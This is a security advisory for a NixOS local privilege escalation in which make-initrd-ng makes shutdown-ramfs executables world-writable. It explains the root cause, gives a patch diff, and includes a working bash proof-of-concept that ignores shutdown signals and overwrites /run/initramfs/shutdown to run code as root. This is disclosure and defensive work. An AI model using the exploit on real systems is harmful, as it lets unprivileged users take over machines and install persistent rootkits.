Upstream advisory: GHSA-m7pq-h9p4-8rr4
See also: my main blog post
Impact
An unprivileged process with filesystem access can become root during system shutdown (including reboot, hibernate, kexec, etc).
Exploitation is straightforward and reliable (it does not rely on timing or probabilistic factors).
Upon successful exploitation, an attacker has full access over the local system.
Scope
All standard NixOS configurations that use make-initrd-ng
with systemd.shutdownRamfs.enable = true
(since the bug was introduced in 2022-05-01, e5995b22353d003cf2c3b32143ff996b14cbbb62
).
If systemd.shutdownRamfs.enable
is false
, this specific vulnerability is not exploitable (though the underlying bug may still be exploitable another way, such as via the boot initrd).
Root Cause
The root cause of this vulnerability is a bug in make-initrd-ng
, introduced in nixpkgs commit e5995b22353d003cf2c3b32143ff996b14cbbb62
.
The make-initrd-ng
program erroneously changes each ELF to be world-writable. These permissions are never reverted, and thus the resulting initrd images have world-writable executables as well.
Note that the file permissions are changed even if stripping is disabled.
This opens up three potential attack vectors:
- modification of the initrd while it is being built
- modification of the executables during early (stage 1) boot
- modification of the executables during shutdown
My analysis thus far, in order:
- I am not familiar enough with NixOS to determine whether attack vector 1 is viable or whether it would pose a significant threat.
- I do not see an obvious way to exploit this, as stage 1 boot usually does not involve untrusted processes.
- This is the attack vector I have investigated in this report.
Vulnerability Details
During system shutdown, make-initrd-ng
is called via generate-shutdown-ramfs.service
to populate /run/initramfs
with the contents of the "exitrd".
(for clarity: "system shutdown" includes poweroff, reboot, halt, and kexec; see man 7 bootup
for details)
Due to a bug in make-initrd-ng
, all executables in the "exitrd" are made world-writable.
This enables any attacker-controlled process with access to the /run/initramfs
directory to overwrite the /run/initramfs/shutdown
executable with their own payload.
Although systemd sends exit signals to all processes during shutdown, these signals can be ignored, allowing the attacker to wait for make-initrd-ng
to complete so they can install their payload.
After final.target
is reached (which involves waiting for any lingering processes to exit), systemd will switch_root
into /run/initramfs
and transfer control to /run/initramfs/shutdown
.
At this point, the attacker has gained full root capabilities on the local system, including:
- the ability to re-mount any local filesystems and tamper with them (such as installing a rootkit for persistence)
- any other capabilities that PID 1 had (which is usually unencumbered even on relatively locked-down systems)
Patch
I have drafted the following patch which should fix the underlying bug and thus mitigate all three potential attack vectors:
From 29e101cfbe9ef2fca38a609689052bd4506708af Mon Sep 17 00:00:00 2001
From: sudoBash418 <sudoBash418@gmail.com>
Date: Sat, 29 Mar 2025 22:50:50 -0600
Subject: make-initrd-ng: Restore stripped file permissions
Previously, all initrd ELFs would be made *world-writable*.
This commit sets the write bit for the file owner exclusively, and
restores the original file permissions after processing each
ELF, so that the initrd contains the intended file permissions.
diff --git a/pkgs/build-support/kernel/make-initrd-ng/src/main.rs b/pkgs/build-support/kernel/make-initrd-ng/src/main.rs
index 934c2faebed8..0187931e3019 100644
--- a/pkgs/build-support/kernel/make-initrd-ng/src/main.rs
+++ b/pkgs/build-support/kernel/make-initrd-ng/src/main.rs
@@ -188,12 +188,11 @@ fn copy_file<
add_dependencies(source, e, &contents, &dlopen, queue)?;
// Make file writable to strip it
- let mut permissions = fs::metadata(&target)
+ let original_permissions = fs::metadata(&target)
.wrap_err_with(|| format!("failed to get metadata for {:?}", target))?
.permissions();
- permissions.set_readonly(false);
- fs::set_permissions(&target, permissions)
- .wrap_err_with(|| format!("failed to set readonly flag to false for {:?}", target))?;
+ fs::set_permissions(&target, unix::fs::PermissionsExt::from_mode(0o600))
+ .wrap_err_with(|| format!("failed to set read-write permissions for {:?}", target))?;
// Strip further than normal
if let Ok(strip) = env::var("STRIP") {
@@ -207,6 +206,10 @@ fn copy_file<
println!("{:?} was not successfully stripped.", OsStr::new(&target));
}
}
+
+ // Restore original permissions
+ fs::set_permissions(&target, original_permissions)
+ .wrap_err_with(|| format!("failed to restore permissions for {:?}", target))?;
};
Ok(())
--
2.49.0
Proof-of-concept Exploit
I have written a simple proof-of-concept exploit to demonstrate the vulnerability.
- First, login to a NixOS machine as an unprivileged user, and save the script below as
poc.sh
- Run
bash poc.sh & disown
to start the script as a detached process and (optionally) logout - Reboot or poweroff the machine as normal
- The shutdown sequence should end with a message on the virtual terminal, demonstrating that the payload execution was successful (tested in QEMU)
#!/usr/bin/env bash
# usage: run this script via `bash poc.sh & disown` as any unprivileged user
# ignore signals to prevent systemd from killing us
trap -- '' SIGQUIT SIGHUP SIGINT SIGTERM SIGUSR1 SIGUSR2 SIGPIPE
# wait for generate-shutdown-ramfs.service to start
while [[ ! -f /run/initramfs/shutdown ]]; do
sleep 0.1
done
# wait for generate-shutdown-ramfs.service to exit
while systemctl is-active -q generate-shutdown-ramfs.service; do
sleep 0.1
done
# find bash for our payload
bash_path="$(find /run/initramfs/nix/store -maxdepth 1 -type d -name '*-bash-*' | head -n1)"
bash_path="${bash_path#/run/initramfs}"/bin/bash
# find coreutils for our payload
coreutils_path="$(find /run/initramfs/nix/store -maxdepth 1 -type d -name '*-coreutils-*' | head -n1)"
coreutils_path="${coreutils_path#/run/initramfs}"/bin
# read systemd-shutdown path
target="$(readlink -n /run/initramfs/shutdown)"
# overwrite systemd-shutdown executable with our payload
cat <<EOF > /run/initramfs/"$target"
#!${bash_path}
export PATH="\$PATH:${coreutils_path}"
# show our banner
echo "!!! systemd-shutdown takeover successful: \$(id) !!!"
echo "sleeping for 15 seconds..."
sleep 15
# kernel panic by exiting from PID 1
exit
EOF